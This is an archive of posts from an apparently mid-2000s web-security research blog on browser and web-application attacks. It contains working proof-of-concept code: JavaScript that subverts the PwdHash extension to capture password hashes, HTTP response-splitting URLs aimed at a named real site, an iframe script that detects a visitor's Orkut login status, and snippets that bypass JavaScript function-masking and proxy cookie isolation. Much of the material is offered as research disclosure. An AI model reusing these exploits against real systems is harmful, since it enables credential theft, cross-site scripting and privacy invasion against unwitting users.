For the moment I'm safe since I've never attacked MySpace, but frankly, I'm just worried that they're going to come after people who have disclosed vulnerabilities in MySpace next.

Attacking the PwdHash Firefox Extension

2007-02-02T20:16:00.000+11:00

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all the content here:

A while ago I saw an interesting paper/implementation of a way to hash and salt user passwords by domain, so that (I assume) phishing attacks would not be able to steal users' passwords because they are salted with the phishing domain rather than the targeted domain. You can find more info here: https://www.pwdhash.com/

If you read their paper, and the comments in the extension you'll see that they've got pretty much anything you can think of covered. One of the things they haven't been able to stop has been Flash based sniffers, because Javascript extensions don't have any control over 3rd party plugins.

But I have come up with a way to circumvent certain protections and possibly another attack.

To protect against context switching attacks when a user presses the @@ combination or the F2 key into a password field the context cannot be changed without alerting the user if there are less than 5 additional characters.

This is decent protection since you cannot steal the first 5 letters of a user's password, and since user passwords aren't particularly long those first 5 characters are vitally important.

But the extension developers made a few fatal mistakes - they allow the page to receive events of a user pressing the @ key (they do not allow the page to get the F2 key), and they also check how many characters there are in the text box by checking the DOM, and since we are not restricted from changing the DOM we can easily change the contents of the password box.

So what we can do is; detect two presses of the @ key, quickly change the value of the password box to testing or some similar string which is more than 5 chars long, set the focus to another element, and then change the value of the password box to two @ signs, and put the user back in place. you get a little flicker, but most users will discount that, anyway; here's an example:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);
var last = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (last == '@' && key == '@') {
   var pb = document.getElementById("pass");
   pb.value = '@@testing';
   window.setTimeout("context_switch ();", 1);
}
text.innerHTML = text.innerHTML + key;
last = key;
}

function context_switch () {
   var pb = document.getElementById("pass");
   var tb = document.getElementById("text");
   tb.focus();
   pb.focus();
   pb.value = '@@';
}
</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden>
</form>
</body>
</html>

Another thing Firefox allows you to do is create events, which can be sent to the DOM, and for some reason they do not go through extensions, this is a sort of double edged sword because while we cannot simulate a user typing to an extension, the extension is not aware of us sending events to the DOM.

And since the extension developers are sort of using the password box to store the password (the password box contains @@ABCDEFGH...etc which get mapped to the text you entered by the extension when they're computing the hash) we can insert text into the password box and have it included in the hash, and since we can inject the letters ABCD, etc, we can conduct an attack where we know that say each letter is repeated 3 times (by detecting keyboard events and then sending two of those events to the textbox again), this isn't a real attack atm since I haven't looked at the hashing algorithm, but it should make any cryptanalysis easier if we can repeat any number of letters any number of times.

Also, if we think we can get the user to keep on entering their password over and over again, we can just replace the textbox content with say @@AAAAA or @@BBBBB or @@CCCCC or similar so we can get a hash of a single character repeated, and then have a simple 256 value lookup table.

Ok, I figured out a way to defeat the fact that we can't detect the F2 key being pressed.

It does have some false positives, but this is just to show that an attack is still possible.

Anyway, what we do is detect when we get sent an A, we then check that the length of the text in the password box is > 0 and if it is, we send 4 As to the password box, and swap the context. And record some data, and all we need is a 256 value lookup table. Anyway, here's the PoC:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);

var enc0 = null;
var enc1 = null;

document.onkeypress = function (e) {

   var key = String.fromCharCode(e.charCode);
   if (key == 'A') {
      var pb = document.getElementById("pass");
      window.setTimeout ("test_n_send();", 1);
   }
   text.innerHTML = text.innerHTML + key;
}

function test_n_send() {
   var pb = document.getElementById("pass");
   var tb = document.getElementById("text");
   if (pb.value.length > 0) {
      send4A();
      enc0 = pb.value;
      tb.focus();
      enc1 = pb.value;
      pb.focus();

      var enc0b = document.getElementById("enc0");
      enc0b.value = enc0;

      var enc1b = document.getElementById("enc1");
      enc1b.value = enc1;

   }
}

function send4A() {

   var i;

   for (i=0;i<4;i++) {
      var evt = document.createEvent("KeyboardEvent");
      evt.initKeyEvent(                                                                                     
                    "keypress",        //  in DOMString typeArg,                                                           
                     false,             //  in boolean canBubbleArg,                                                       
                     false,             //  in boolean cancelableArg,                                                       
                     null,             //  in nsIDOMAbstractView viewArg,  Specifies UIEvent.view. This value may be null.     
                     false,            //  in boolean ctrlKeyArg,                                                               
                     false,            //  in boolean altKeyArg,                                                       
                     false,            //  in boolean shiftKeyArg,                                                     
                     false,            //  in boolean metaKeyArg,                                                       
                     0,                //  in unsigned long keyCodeArg,                                                     
                     65);              //  in unsigned long charCodeArg);
   
      var pb = document.getElementById("pass");
      pb.dispatchEvent(evt);
   }
}

</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden><br />
<input id=enc0><br />
<input id=enc1><br />
</form>
</body>
</html>

HTTP Response Splitting Attacks Without Proxies

2007-02-01T19:29:00.000+11:00

I've had this paper sitting around collecting dust for so long, but I've been keeping it for a reason, me and a friend (troopa) are trying to start a hacker/infosec community focused around Research and Development of ideas and attacks, rather than simply a teaching and learning ground for people, because there are plenty of those already in existence, but very few places where people come together to collaborate on new ideas, and so I present to you Sudo Labs.

I initially posted the full paper on Sudo Labs here: http://sudolabs.com/forum/viewtopic.php?t=3

But now that I've directed a bit of traffic there (that really didn't help), I'm posting it here as well:

[EDIT (14/02/07)]: I've been informed, that my introduction was completely wrong and may have mislead people, and so I've replaced it.

HTTP Response Splitting Attacks Without Proxies

By kuza55
of Sudo labs

Contents:

1.0 Introduction
2.0 The Attack
    2.1 Theory
    2.2 Browser Inconsistencies
    2.3 Working Exploits
3.0 Implementation Notes
4.0 Conclusion

1.0 Introduction

At the moment, the only know technique (AFAIK - Correct me if I'm wrong) for attacking the browser cache to alter the cache for pages other than the one vulnerable to HTTP Response Splitting is the One proposed by Amit Klein on page 19-21 of this paper: http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

It utilises the fact that IE operates on only 4 connections to request pages from a single server.

This paper will illustrate something similar.

2.0 The Attack

As many people before me have discovered; if you can force the browser to make a request for a page on the connection you control, you can replace the contents of the page.

The problem has been to force the browser to do just that.

But what if we ask nicely?

2.1 Theory

If in our doctored response we redirect the user to another page on our site and we send the browser the "Keep-Alive: timeout=300" and "Connection: Keep-Alive" headers the browser does exactly what we asked it and sends the request on that connection (except Opera 9, which doesn't want to - Opera 8 does).

The next thing we need to do is to send the browser a "Content-Length: 0" header so that it thinks its received everything its going to from its first request and sends the second request straight away.

We then send the browser a couple of new lines, and then lots of extraneous spaces and then a new line as well.

This works much like a NOP sled in Buffer Overflow attack, because this way we can prepare a landing zone for the browser which it will just ignore before reading the actual response, this gives us greater flexibility in regards to browser inconsistencies and network latency issues.

2.2 Browser Inconsistencies

Sadly not all the browsers react the same way, and so not everything can be done easily, here's a little chart at what I've been able to produce in various browsers so far:

1 = Second request made on the same connection.
2 = Second Response can be injected into
3 = Headers can be injected into the second response
4 = Content-Length Header is strictly obeyed

+ = yes
~ = Sort of
- = No
x = N/A

-----------------
|Browser|1|2|3|4|
-----------------
|Opera 8|+|+|+|+|
-----------------
|IE 6 |+|+|+|~|
-----------------
|Firefox|+|+|-|x|
-----------------
|Opera 9|-|-|-|x|
-----------------

So essentially I've only really been able to exploit the attack's full potential under IE 6 and Opera 8. So getting this to work under Firefox (and possibly Opera 9) is for people with more experience in how browser work with the network.

The issue with Internet Explorer is that it reads things in 1024 byte blocks, and so any Content-Length headers which to not fall on that boundary will be rounded up to the nearest kilobyte, but that's not much of an issue.

Internet Explorer also has a 2047 byte limitation on query strings, so my original design of using new lines doesn't work because they get encoded in the query string to 3 times their length (6 bytes - %0d%0a - instead of two), and so spaces had to be used as the white spaces to be ignored.

For some reason I can't seem to get Firefox to use the headers I provide, but you can easily inject into the top of the page, and simply make the browser not render the rest by using an unclosed div tag with a display: none style attribute.

Opera 9 (as I mentioned earlier) though, just doesn't want to make the request on the same socket, and so I haven't been able to get this attack to work.

2.3 Working Exploits

Now, onto the interesting part - Working Exploits.

This *works* (To the extent explained above) in both IE and Firefox:

http://www.dataplace.org/redir.html?url=index.html%0d%0aKeep-Alive: timeout=60%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 0%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a %0d%0aHTTP/1.x 200 OK%0d%0aKeep-Alive: timeout=5%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 55%0d%0a%0d%0a<html><script>alert(document.location)</script></html>

But it doesn't work on Opera 8, Opera 8 works the way you would sort of expect a browser to work, in that it begins reading the stream from where it left off, and so we don't need to provide much whitespace:

http://www.dataplace.org/redir.html?url=index.html%0d%0aKeep-Alive: timeout=60%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 0%0d%0a%0d%0a%0d%0aHTTP/1.x 200 OK%0d%0aKeep-Alive: timeout=5%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 55%0d%0a%0d%0a<html><script>alert(document.location)</script></html>

3.0 Implementation Notes

If anyone wants to use this to use this to perform browser cache poisoning attacks (either to hide the suspicious URL or something similar) then the best way would probably be to check if the URL you are poisoning sends an Etag header and if so replicate that header so that when the browser sends a If-Modified-Since header, then the web server will honestly say it hasn't, if the resource you want to poison is a dynamic resource, you'll have to rely on the Cache-Control and Date headers alone (though these should be used along with the Etag header).

4.0 Conclusion

So as we can see, we don't need a proxy to implement interesting protocol oriented HTTP Response Splitting attacks, and hopefully someone with a deeper understanding of browsers than me can figure out why the above attacks aren't working in Firefox and Opera 9.

MySpace doesn't understand browsers (RCSR info)

2007-01-30T12:04:00.000+11:00

You know what I hate? Advisories without enough info to verify a bug or PoC code. For example: http://www.info-svc.com/news/01-29-2007/myspace/ provides no information to anyone about what the nature of the issue is, or anything, it just says there is an issue, and of course once they do disclose something there is no proof that they did actually find something. And even more than that; I honestly don't care about people declaring that they've found security issues without giving specifics.

Anyway, I thought I'd go have a look myself, and here is a little snippet which works in both IE and Firefox;

<input type_="password" type=`password`>

Whether this is what Chapin Information Services found is unclear since they didn't release anything, but what is clear is that MySpace clearly understand the Non-Digit-Non-Alpha issue extends to all attributes, nor do they seem to understand that IE also allows grave accents (`) to be used instead of (single or double) quotes.

I really don't understand how many times they need to fix these issues before they begin to understand them.

A Month In Obscurity

2007-01-26T18:19:00.000+11:00

Firstly, sorry about the lack of content in the last few days, I've been busy with yet another new paper/project, and life in general, so I haven't had a chance to write up my research and post it, and I don't see myself having much time to write something up this weekend, but come Monday or Tuesday I'll most likely start posting again.

But in the mean time, I thought I'd post some interesting but rather obscure things I've found on the internet. Obscure is being defined as not being mentioned on ha.ckers, so a lot of people might know a lot of these, but I think that most people won't know all of them. Oh, and this isn't strictly content from January, it primarily is, but anything interesting I found lately and thought most people wouldn't know about is link worthy. If you think you know anything else, please write a comment or something.

.NET Framework bug and XSS by xknown.

Essentially, xknown found out that when .NET pages use the Response.Redirect, the function does not check whether or not the URL provided is a URL which you can redirect to using the location header, and so it is possible to send a javascript: URI which the page will attempt to redirect you to and fail, but it will then print it out on the page like so:

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="javascript:alert('XSS')">here</a>.</h2>
</body></html>

And if the user clicks on the link, they will execute your JS. Of course data: and similar URIs can also be used.

Anti-DNS Socket Pinning + Flash by Kanatoko.

With Anti-DNS Pinning, we can break the same-origin policy.
Not only JavaScript, but also FLASH and Java Applet are affected.

FLASH has the Socket class in the new version of FLASH Player ( version 9.0 or higher, ActionScript 3.0 ).

--Quoted from the documentation--
The Socket class enables ActionScript code to make socket connections and to read and write raw binary data.
The Socket class is useful for working with servers that use binary protocols.
----

Month of Apple Fixes by Landon Fuller.

I think the title is pretty self-explanatory here, and while I didn't think this was really worth a mention here, I thought I might as well chuck it in here, since not everyone keeps on top of these things.

Cross-Domain POST Redirection by Ilia Alshanetsky.

Not exactly new research, but something most people don't know about, I wonder if phishers will start using this instead of MITM phishing kits which generated so much pointless publicity.

Digg This - Blog Security Vulnerabilities Found by Harry Maugans.

Harry found a bug in the Digg This wordpress plugin that blindly assumed that the first hit to come to a page from digg must be coming from the link to the submitted story, and so a spammer can easily get people digg their own articles instead of the articles posted on a blog. Great find by Harry, and great ingenuity by the spammers IMO.

Uninformed Issue 6 Was Released

Uninformed is a technical outlet for research in areas pertaining to security technologies, reverse engineering, and lowlevel programming. The goal, as the name implies, is to act as a medium for informing the uninformed. The research presented here is simply an example of the evolutionary thought that affects all academic and professional disciplines.

Its articles are of impecable quality, so I say everyone with even a cursory interest in low level programming or similar should check it out.

Tricking forums about image size (Animated GIFs) Analysis by Captbox, image example supplied by Xoferif.

What Captbox was able to find out from the image Xoferif provided was that while GIF images do have global size data, in animated GIFs, that size data is ignored in favor of frame size data, and since most (probably all) forums only check the global size data, we are able to supply images of any size no matter what restrictions are placed on us.

New SQL Truncation Attacks And How To Avoid Them by Bala Neerumalla.

This one is a bit hard to explain, so I say you should just go read the article, it'll definately be worth your time.

MySpace's "Domain Generalisation" Vulnerability by trev.

trev found a way to exploit MySpace's domain generalisation (which exists so that all the myspace subdomains can interact via Javascript) using the fact that the domain names we enter are not full names, but only partial names, because full names end in a dot, signalling that the .com address is a subsidary of the root address, rather than some other address, anyway, its an interesting thread - you should read it.

Fake AP by Black Alchemy.

This is a fairly old project, which I only found out about a week ago, and while its not revolutionary or anything, I thought it was interesting enough to tell people about. It also showcases the huge difference between web and network security (try to come up with a situation in web security where hiding in misinformation/plain sight was ever possible - if you think of something; email me).

And those are the interesting links I've found in the last month which the other blogs I linked to haven't (to my knowledge) covered.

defy.js

2007-01-24T10:29:00.000+11:00

Well, I was kinda bored this morning and had the (very questionably) great idea of writing a snippet of code to delete all Javascript overloading, and reinstate the XMLHttpRequest Object:

function extractXHR () {
    var iframe = document.createElement('iframe');
    iframe.name='test';
    iframe.src='http://www.google.com/';
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    window.XMLHttpRequest= window.frames.test.XMLHttpRequest;
    document.body.removeChild(iframe);
}

function recursive_delete (object) {
    var failed;
    for (obj in object) {
        failed = 0;

        try {
            delete window[obj];
        } catch (e) {
            failed = 1;
        }

        if (failed = 0) {
            try {
                recursive_delete (window[obj]);
            } catch (e){

            }

        }
    }
};

recursive_delete (window);
recursive_delete (document);
extractXHR();

The other thing I could have done would be a recursive_extract function, which tried to extract everything from the window object of the iframe, but not everything is enumerable (e.g. XMLHttpRequest is not enumerable), so customized code could still possibly be needed.

Also, the way reason the extraction works is because it executes before the page can fully load, and this causes the originating domain policy to not have kicked in yet, and so we can still get the window object. its probably not the same object as the one the page uses in the end though, but I think I might check it out.

Essentially what that means for an attacker is that there is a tiny chance that it won't work if the page is set up between the two Javascript instructions which append the iframe and extract the XMLHttpRequest object.

More Javascript Overloading

2007-01-23T19:09:00.000+11:00

Well, as I mentioned in my last post, Jeremiah's idea of masking functions works quite well, but I left out the fact that it only works for the window object, so things like document.write() are still safe because document cannot be masked. try it:

javascript:function document() {};

And you get the error Error: redeclaration of const document.

As you can see, while I do call it masking when you override XMLHttpRequest by creating a function of the same name, it is really just redeclaring it inside the window context.

So its effectively impossible to stop people writing to the document, and therefore creating an iframe and using it's XMLHttpRequest object.

Now, thanks to Mook from irc.mozilla.org #js I've also found out that for everything other than XMLHttpRequest that you can over-write there also seems to be a property in window.__proto__ that does the same thing. Conveniently enough you can also create a function called __proto__ which blocks it.

Also, just some assorted things about Javascript which I mentioned in previous articles I want to mention:

When the submit() method gets replaced by a form element of the same name, you can still access it via the form.__proto__.submit() function, again; Thanks Mook.

Redeclaring Javascript Properties

2007-01-23T15:15:00.000+11:00

Ok, so the title of this was originally "Don't we have memories for a reason?", and had a bit of a rant here, but I decided the rant part was a bit unwarranted and stupid (exceptionally stupid, really), so I've removed it so I don't subject anyone else to that crap. Anyway, on with the post:

Jeremiah Grossman (who does some great work, actually), had the idea to stop XSS Worms by denying them access to some crucial functions like XMLHttpRequest() and createElement. You can read the whole post here: http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html.

Now while I don't think people have attempted to do exactly that before, there were efforts to do the same thing to deny attackers access to cookies a while back, which used the same techniques which it turned out could be easily subverted. Now this isn't my rant, things happen and people might not know about what has happened before, fair enough.

But when people who know about what happened before and that it can be overwritten start saying that Jeremiah's idea works you've really got to wonder why we have memories if we don't use them.

Oh, and here's some code to prove my point: (check your error console to see there are no errors, and the appropriate functions are being called)

javascript:window.__defineGetter__("open", function() { }); delete window.open; window.open("http://kuza55.blogspot.com/",null,"");

javascript:document.createElement = function () {}; delete document.createElement; var bold = document.createElement('b'); bold.innerHtml = 'createElement Works'; document.body.appendChild(bold);

javascript:document.__defineGetter__("write", function() { }); delete document.write; document.write('document.write works');

I also found it humorous that someone was recommending using delete to remove the window element so that people could not call the function, instead of overwriting it.

Ok, now onto some more interesting things. The idea that Jeremiah Proposed for getting rid of the XMLHttpRequest() object was quite a good one, because whenever we try to delete a function it doesn't work, we CANNOT delete functions; it seems you can only delete objects and properties.

The documentation for the delete operator can be found here, it doesn't mention why we can't (or how to) delete functions though: http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators#delete

So essentially that definitely works, so good job on coming up with that. Well, untill someone else figures out a way past that as well.

But there are some fun things you can do like the following:

<html>
<body>

<script>
function XMLHttpRequest() { }
</script>

<iframe name='test' id='test' src='http://www.google.com/'></iframe>

<script>
var req = new window.frames.test.XMLHttpRequest();
alert(req);
</script>

</body>
</html>

So if we can somehow create an iframe, with a name, we can circumvent it. We could also use an iframe created by advertising code, but that is limited by the fact that we would need to use window.frames, and the only things which you can't replace with functions are window, document, and possibly some other constants I can't remember right now.

Disclaimer: I'm not saying that anyone who I've mentioned does bad work (and even when I was ranting, I wasn't saying that), but seriously, you were told about something once, do you need to be told again?

Picking Brains With...Me; Brains Are Tasty

2007-01-22T22:48:00.000+11:00

Well, Jungsonn started a series of "interviews with hackers, admins, programmers and other people from the security field. They are given a set of questions to answer." entitled "Picking Brains With..." today, and it seems like I've been his first target, so if anyone is interested, you can find if here: http://www.jungsonnstudios.com/blog/?i=76&bin=1001100

And while I obviously don't find it all that interesting reading things I wrote about myself, I'm definately quite eager to see who else he convinces to answer his questions, and their responses.

Oh, and like I said; I'd really like to hear from anyone who wants to be a "hacker". I really want to know why you want to be a "hacker". What's so special about the word hacker that lures you?

ShareMy.Name Design Issues

2007-01-22T21:59:00.000+11:00

I've just posted a little article about some things that I think are currently wrong with OpenID implementations, so I thought it would be only fair to give the same treatment to ShareMy.Name - which admitedly isn't a SSO (Single Sign On) service, but it does provide a facility for easily giving out your data to everyone.

First of all though, I'll give you some history of what I've personally seen. ShareMy.Name seems to have gone through several different phases from where they simply acted as a username/password and personal details depository so that other sites didn't and so you would have to provide the same username and password to all sites, and a malicious (or hacked) site could get all your details, to where you needed to enter a regenerating accesskey (sort of like those two-factor ID things) to the current state where you get an accesskey assigned to you when you sign up, and send that key (supposedly) to ShareMy.Namen where if the accesskey matches an account, it asks you if you want to send the data the site has asked for back.

You can see a demo here: http://sharemy.name/test_sendback/

They also give you a Javascript Bookmarklet which looks something like this:

javascript:document.cookie='accesskey=aNwluiUMqk;path=/';
function r(){
   document.forms['sharemyname'].accesskey.value='aNwluiUMqk';
   document.forms['sharemyname'].action='http://sharemy.name/sendback/';
   document.forms['sharemyname'].submit();
}
if(document.forms['sharemyname']) r(); else alert('We tried everything, your going to have to enter aNwluiUMqk manually; or, they do not support ShareMy.Name.');

Which tries to send the request to Share.MyName so that you can verify whether or not you want to send certain details to the site.

For the moment lets ignore the fact that you could just ask the user to input their accesskey in a form, and they would readily do it, or the fact that every site gets sent the accesskey, and assume that the bookmarklet is the only way to get the data, and the accesskey is not sent back.

They give us the accesskey (when they set the cookie) no matter if the user agrees to give it to us on the sharemy.name page.

But ignoring the fact that we are given the accesskey initially (this is an easy fix with no real ramifications - what is harder to fix is people overloading and subverting the page in such a way that the bookmarklet fails in its job), and the fact that users are encouraged to enter their accesskeys into unknown forms ('We tried everything, your going to have to enter aNwluiUMqk manually; or, they do not support ShareMy.Name.'), there is still the problem that the site is sent the accesskey by default.

This is a problem, because when the user say gives the their First Name, Interests, and Accesskey, they are essentially giving the site all of their information, because there is no additional identification required to get information about the person other than the accesskey.

And even more than that, since the key is permanent (from what I've seen) they have access to your data indefinately.

Now I realise that this could all be fixed simply by requiring the user to be logged into their account when agreeing to share details, but I think without an expose on the ramifications of their current design, nothing will change. And its fun to write about the havoc one can wreak.

I won, I won, I won.....

2007-01-22T09:57:00.000+11:00

I won a book! Anyway, yesterday I remembered the contests Sploitcast runs, and went and had a look at the one they'd released last friday, and to my surprise found the one that had been released on the day I'd gone canoeing hadn't been solved, a couple of hours later: http://www.sploitcast.com/ (Scroll down to the News Section) I solved the challenge (by finding a copy of purchase_report.txt), and it seems I was the first. So now I get a free Syngress Publishing book.

I chose to get RFID Security by Frank Thornton, Brad Haines and John Kleinschmidt, which should be interesting once it gets shipped out to me.

If anyone is bored, I suggest they go try out the challenge (even though you won't win anything), its an interesting one.

Oh, and if anyone is subscribed to the RSS feed (I think there are a very small few) and you don't want to read about crap like this, just subscribe to the "Security (All)" feed, which won't contain anything other than security articles.

Insecure OpenID 'Features'

2007-01-21T11:25:00.000+11:00

Note: I wrote this a while ago, and I haven't gone over it completely, but I thought it would be worth posting about.

I read about OpenID a while ago, when my friend asked me what I thought of it from a security perspective, and from what I could tell from the documentation, except for DNS issues it wasn't a bad decentralized authentication protocol. And I didn't do any further research into it until I came a blog entry describing how it worked in practice http://www.readwriteweb.com/archives/openid_vs_bigco.php).

In that article/flash 'demo' I saw that as with any protocol, developers can come up with great 'features' which damage the security of the protocol. And this isn't one OpenID provider deciding to add an insecure feature, either, it is one that is common throughout the 3 OpenID providers mentioned in the article, which I assume are the most popular ones being used (why else would a blogger mention them?).

Now, what is this feature I feel should not exist? It is the feature to set a site to be able to accept your credentials without you having to enter your OpenID password, and since your OpenID provider does not provide these details to the host, they do

Of course, you still need to be logged into your OpenID provider, but since you're meant to be using this login for several sites, its not too much of a stretch to believe that you're going to be logged in all the time you're online - which is quite a large time frame. And if we consider that most sites will these days tell other users when a person is online, or allow you to reveal that fact yourself via posting comments, photos, etc, its not too difficult.

But enough about the feature itself; what does it mean to us? This means that an attacker can log you into any site you decided to trust via CSRF attacks because the site cannot tell if you've entered a password. Now this might not seem important, but it is very important for both large and targeted attacks because the user no longer needs to be logged into the service you want to attack, but merely logged into the central service.

Even worse, this fact is completely misrepresented to users. The questions that are posed essentially revolve around whether you trust the site that wants to verify your identity, and whether or not your OpenID provider should always verify your identity to this source, so even if a user is generally cautious about these kind of things, if something like an email provider started using this a user would be more likely to trust the site, and cause security issues. Essentially the more critical the information you are accessing the more likely to trust the site you are trying to access, and so the more critical sites are the ones which will have issues with this; lets just hope they don't use OpenID though, because leaving DNS security, essentially up to your users, is as about the worst idea anyone could come up with, but that's another rant altogether.

For reference, the 3 OpenID providers I tested were:

http://www.myopenid.com/ where users are asked if they want to allow the site they want to log into to be able to verify their identity, and the insecure answer is "Allow Forever"

http://www.claimid.com/ where users are asked if they want to log into a site, and the insecure answer is "Login and Trust"

http://www.videntity.org/ where users are asked if they trust the remote site with their identity, and the insecure answer is "Yes, and don't ask me Again"

Another insecure 'feature' is the lack of need to enter a password to register for a site. Out of those 3 OpenID vendors, only http://www.claimid.com/ asked users for a password when registering for a site, the other two had only CSRF protections. This is admittedly not particularly serious because you still need an XSS (or similar) flaw in the OpenID provider's site before you can take advantage of the design idea, but it is rather worrying that people designing secure systems don't seem to want to implement defence in depth.

Detecting Javascript .focus() in iframes to Detect Logged In Status (IE only)

2007-01-21T10:30:00.000+11:00

I've been playing around with a lot of ways to detect if users are logged in, but I haven't published many of them so here's yet another way to detect if users are logged in.

One thing many sites (google sites in this example) do is use the Object.focus() method to set the focus to a login form.

And in IE; if the object getting focused on is in an iframe, the iframe also gets focused on, which is an event which we can easily detect, so if we have an iframe to which there is no way a user can themselves set the focus to, and it gains focus, this should tell us that the content of the iframe set the focus to something, and the user is therefore not logged in, if after a few seconds of it being loaded but not gaining focus we can very safely assume it didn't try to, and the user is therefore logged in.

Here's a quick PoC for Orkut:

<html>
<body>
<script>
var logged = true;
function check () {
    if (logged == true) {
        alert('You ARE logged into orkut');
    }
}
</script>
<iframe src="https://www.orkut.com/News.aspx" onFocus="if (logged == true) { alert('You are NOT logged into Orkut.'); logged = false;}" onLoad="window.setTimeout ('check()', 1000);" width=0 height=0></iframe>
</body>
</html>

On Stefan Esser's CSRF Protection Idea

2007-01-21T09:41:00.000+11:00

A while ago I read a post entitled CSRF protections are not doomed by XSS by Stefan Esser which proposed an interesting method of using domain boundaries to stop an XSS hole in the main domain being used to extract form tokens and circumvent CSRF protections, and it would even go so far as being able to stop an XSS vuln in one form being able to circumvent the CSRF protections of another.

And even if it is more difficult to implement than simple token protections, it is still feasible if you use a wildcard DNS entry, and have a check on each form which checks if the $_SERVER['HTTP_HOST'] is the appropriate one, and if not then redirect to the appropriate one.

And I was even going to implement an example, until I realised one simple flaw; its all still hosted on the same server, and the only thing separating it is the HTTP Host header which can easily be forged via XMLHttpRequest or FlashRequest, so this protection can easily be beaten.

Which got me thinking; what would you need to add for it to work as intended? Well, you could put all the forms on separate servers, but that doesn't seem at all practical, the only really viable solution is to add more authentication mechanisms which are readable only by the specific subdomain and no others.

And thats really the biggest issue - you have to create an extra session key for every single form you have on your site, and set a cookie for them, and they all have to be set at login, and can never be regenerated because XMLHttpRequest and (possibly) FlashRequest can read response headers and extract the cookies being set on subdomains.

So while it is still of course possible to implement this, it seems completely impractical to create yet another session id which the server has to keep track of for every single form.

But if anyone has actually implemented something similar to this in any environment I'd really love to hear about it.

XSS-ing Web Middleware

2007-01-20T22:59:00.000+11:00

A while ago I stumbled upon some XSS vulnerabilities in some Web Filtering Software (namely Websense and Surfwall), and it got me thinking that these applications along with other Web middleware could be as damaging (if not more so) to the end user as an XSS hole in the middleware would affect all sites used through the middleware.

What is Middleware?

But what kind of middleware exists on the web? Right now I can only think of two different types; web filters, and web proxies. Lets have a quick think about how these two pieces of software are different from an attacker's point of view.
With a web filter, the software exists on every single domain which has 'objectionable' content, and when we XSS it through a web filter, we are still attacking the original domain.

Web proxies on the other hand are very different though because web proxies only exist on their domain, but everything goes through them, so while most web proxies store the cookies on their server (so a direct XSS attack will not yield authentication cookies for other sites), if you can steal the web proxy's cookies, you are essentially logged into everywhere the user is.Sadly you don't know where that is, and you need to find out.

XSS-ing Web Filters

Firstly, lets assume we've found an XSS flaw in some filtering software, and from what I've seen (http://www.jungsonnstudios.com/blog/?i=28&bin=11100 ; http://sla.ckers.org/forum/read.php?3,44,4640#msg-4640) Its not too big an assumption.

The next question, is what conditions do we need to meet for an attack to work? Well, obviously we need to have the web filter become activated on the site (in the sense that it does block pages from that site), but most importantly of all we need the web filter to display error messages on the domains it is blocking, rather than on a central domain.

Another useful (but not essential) condition is to have the site only partially blocked so that the user can be already logged into the domain you want to attack.

Essentially this means that content based web filters (e.g. ones which search for meta tags, titles, keywords, etc), are better targets than those which block sites on a per domain, block list basis because those that are completely blocked won't have users logged into them and so attacks against them need to be completely different.

Why? Because if you block a whole domain, then an XSS hole in it won't allow you to steal login credentials because the user isn't logged in. On the other hand if a domain isn't blocked in a blocklist, then we can't execute an attack. But if a domain isn't blocked in a content based web filter it may still be possible to get it to be blocked by injecting restricted keywords into a page. So even if a page is not blocked, you can inject some keywords into a search string, and have it block the page.

The one thing that I have been able to come up with though is simply replacing the whole page that is blocked. Lets say www.sharetrading.com is blocked because a company doesn't want its employees using work time for checking on their shares and the whole domain is blocked, but you have an XSS hole in the blocking page. From there you can easily inject some Javascript which would overwrite the page blocked message and replace it with what the user expects and simply collect login details.

Sadly though both of the vulnerabilities that Luny and Jungsonn have found exist on a central server. So while there are currently no vulnerabilities that I know of that satisfy these conditions, it is important to keep in mind that every layer you add which can possibly add content is vulnerable.

XSS-ing Web Proxies

Like I mentioned above; web proxies are really the polar opposite of web filters because they exist on one domain showing content from all domains rather than showing the 'same' content on all domains. But these are a dime a dozen and vulnerabilities should exist by the bucket load.

And they do; because they have an enormous task set for them; they must not only remove all Javascript, but they have to keep content as much intact as possible, and so they often even go as far as allowing Javascript and try to rewrite it so that its safe. There's really no way of locking these down without destroying so much functionality its not funny, its like surfing without Javascript, except with some potential holes around the setting.

For the ones which try to remove Javascript completely - well, its just another XSS filter, it shouldn't be much of an issue to defeat.

For the ones which try to rewrite it there is some really interesting stuff I want to talk about. The example I'll be talking about is http://the-cloak.com/. It has the added feature that it rewrites Javascript so that it executes almost like its on its on the actual domain, to do this it replaces all instances of document.cookie and similar properties with TC_document_cookie and similar, which contain the variables from the site which the-cloak.com is proxying. It is of course trivial to break past this by using some simple javascript tricks like this:

var test = document;
alert(test.cookie);

But even more interesting is the realisation that there is (of course) no same domain origin policy in force here so you have unrestricted access to all the cookies for every domain, and you can just use an iframe to load the proxied domain you want to attack, and then simply read the TC_document_cookie variable out of the iframe.

For those that don't spit the cookies out anywhere; keep in mind that all XSS attacks are nothing more than a means to an end and being able to steal the cookies for the web proxy is just as useful.

Conclusion

As we can see XSS is something that may end up concerning more people than just web app developers, anyone who develops apps which interact with the web will have to make sure that their products don't add extra vulnerabilities to a user's set up.

Ok, so I haven't really said anything ground breaking, but its something that wasn't being said anywhere else that I could see, so I thought I'd write about it, even if it is partially theoretical.

Also; if anyone can think of any more middleware which exists on the net; please, write a comment, send me an e-mail, or get in touch in some other way, I'd love to hear about more things which can potentially make the web a more dangerous place. In fact I'm willing to hear about any applications which somehow influence what the browser renders no matter where they are.

More Logged In User Detection via Authenticated Redirects

2007-01-01T11:00:00.000+11:00

